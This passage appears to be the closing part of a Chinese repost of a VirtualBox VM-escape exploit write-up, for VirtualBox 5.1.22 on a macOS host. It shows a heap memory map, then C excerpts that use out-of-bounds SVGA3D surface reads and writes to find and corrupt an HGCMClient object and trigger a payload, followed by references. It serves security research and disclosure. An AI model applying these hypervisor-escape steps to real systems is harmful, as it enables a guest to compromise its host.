MALLOC_SMALL           00007ff08b800000-00007ff0c2800000 [880.0M 863.7M 863.7M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff0c2800000-00007ff0c3000000 [ 8192K  8032K  8032K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff0c3000000-00007ff0ec800000 [664.0M 532.9M 532.9M 118.8M] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff0ec800000-00007ff0ed000000 [ 8192K  8032K  8032K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff0ed000000-00007ff0fb000000 [224.0M 217.3M 217.3M  2588K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff0fb400000-00007ff0fb500000 [ 1024K   184K   184K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff0fb800000-00007ff12b000000 [760.0M 745.9M 745.9M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff12b400000-00007ff12b500000 [ 1024K   936K   936K     4K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff12b800000-00007ff139000000 [216.0M 212.0M 212.0M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff139000000-00007ff139800000 [ 8192K  8032K  8032K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff139800000-00007ff13b000000 [ 24.0M  23.6M  23.6M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff13b400000-00007ff13b500000 [ 1024K  1016K  1016K     8K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff13b800000-00007ff16b000000 [760.0M 745.9M 745.9M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16b400000-00007ff16b800000 [ 4096K  2464K  2464K  1632K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff16b800000-00007ff16c06d000 [ 8628K  6592K  6592K  1828K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty)   00007ff16c06d000-00007ff16c06e000 [    4K     4K     4K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff16c06e000-00007ff16d000000 [ 15.6M  14.0M  14.0M  1440K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff16d000000-00007ff16d800000 [ 8192K  5608K  5608K  2312K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16d800000-00007ff16da00000 [ 2048K   864K   864K  1184K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16da00000-00007ff16dc00000 [ 2048K    24K    24K     8K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_TINY            00007ff16dc00000-00007ff16de00000 [ 2048K    20K    20K    24K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY (empty)    00007ff16de00000-00007ff16df00000 [ 1024K     8K     8K     8K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY            00007ff16df00000-00007ff16e000000 [ 1024K   940K   940K    84K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty)   00007ff16e000000-00007ff16e800000 [ 8192K     4K     4K     8K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_SMALL           00007ff16e800000-00007ff16f000000 [ 8192K     8K     8K   240K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_SMALL (empty)   00007ff16f000000-00007ff170000000 [ 16.0M     8K     8K   172K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY (empty)    00007ff170000000-00007ff170100000 [ 1024K     8K     8K     4K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_TINY            00007ff170100000-00007ff170200000 [ 1024K   988K   988K    36K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY (empty)    00007ff170200000-00007ff170300000 [ 1024K     8K     8K     4K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_TINY            00007ff170300000-00007ff170400000 [ 1024K     4K     4K    20K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY            00007ff170400000-00007ff170500000 [ 1024K  1024K  1024K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff170500000-00007ff170800000 [ 3072K  3072K  3072K     0K] rw-/rwx SM=COW          DefaultMallocZone_0x10

定位并重写HGCMClient对象

一旦堆喷射完成,将会从SVGA3D_MAX_SURFACE_IDS – 1开始,越界读取与表面相关的泄露内存。如果找到任何HGCMClient,就会停止搜索,否则将会继续。

/*泄露内存*/
        for (int i = SVGA3D_MAX_SURFACE_IDS - 1; i >= 0; i--) {
                access_memory(i, SVGA3D_READ_HOST_VRAM, memory, 0x1000);
                rv = find_hgcm_client(memory, 0x1000, &details);
                if (rv == 0) {
                        surface_id = i;
                        break;
                }
        }

在找到客户端对象后,我们通过泄露其“pSelf”指针来了解对象的位置。对象的vtable是一个指向VBoxC.dylib的指针。上述二者都不会受到ASLR机制的影响。随后,我们使用搜索期间找到的表面ID,对其进行越界写入,从而破坏对象。

        access_memory(surface_id, SVGA3D_WRITE_HOST_VRAM, memory, 0x1000);
 
 Finally, use HGCM disconnect to use the corrupted HGCMClient as below:
 
        warnx("[+] Triggering payload...");
        disconnect_client(details.key);

环境

·Guest环境:Ubuntu Server 16.04.5 64位,启用单个vCPU和VMSVGA。

· Host环境:macOS High Sierra 10.13.6。 请注意,macOS Mojave不支持较旧版本的VirtualBox。

· VirtualBox:5.1.22 r115126版本

演示视频

参考文献

[1] VMware托管I/O架构上的GPU虚拟化

https://www.usenix.org/legacy/event/wiov08/tech/full_papers/dowty/dowty.pdf

[2] VMware SVGA设备接口和编程模型

https://sourceforge.net/p/vmware-svga/git/ci/master/tree/doc/svga_interface.txt

[3] CLOUDBURST – Vmware Guest到Host逃逸的故事

https://www.blackhat.com/presentations/bh-usa-09/KORTCHINSKY/BHUSA09-Kortchinsky-Cloudburst-PAPER.pdf

[4] 通过硬件仿真攻击虚拟机管理程序

https://www.troopers.de/downloads/troopers17/TR17_Attacking_hypervisor_through_hardwear_emulation.pdf

[5] VBoxManage

https://www.virtualbox.org/manual/ch08.html

[6] Oracle重要补丁更新公告 – 2015年1月

https://www.oracle.com/technetwork/topics/security/cpujan2015-1972971.html

[7] Oracle重要补丁更新公告 – 2017年7月

https://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html

[8] Oracle重要补丁更新公告 – 2017年10月

https://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

[9] Heapple Pie – macOS/iOS中的默认堆

https://www.synacktiv.com/ressources/Sthack_2018_Heapple_Pie.pdf

[10] OS X堆漏洞利用

https://github.com/blankwall/MacHeap

[11] 思考在VirtualBox之外

https://github.com/phoenhex/files/blob/master/slides/thinking_outside_the_virtualbox.pdf


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

编写可维护的JavaScript

编写可维护的JavaScript

扎卡斯 / 李晶、郭凯、张散集 / 人民邮电出版社 / 2013-4 / 55.00元

《编写可维护的JavaScript》向开发人员阐述了如何在团队开发中编写具备高可维护性的JavaScript代码,书中详细说明了作为团队一分子,应该怎么写JavaScript。《编写可维护的JavaScript》内容涵盖了编码风格、编程技巧、自动化、测试等几方面,既包括具体风格和原则的介绍,也包括示例和技巧说明,最后还介绍了如何通过自动化的工具和方法来实现一致的编程风格。 《编写可维护的Ja......一起来看看 《编写可维护的JavaScript》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具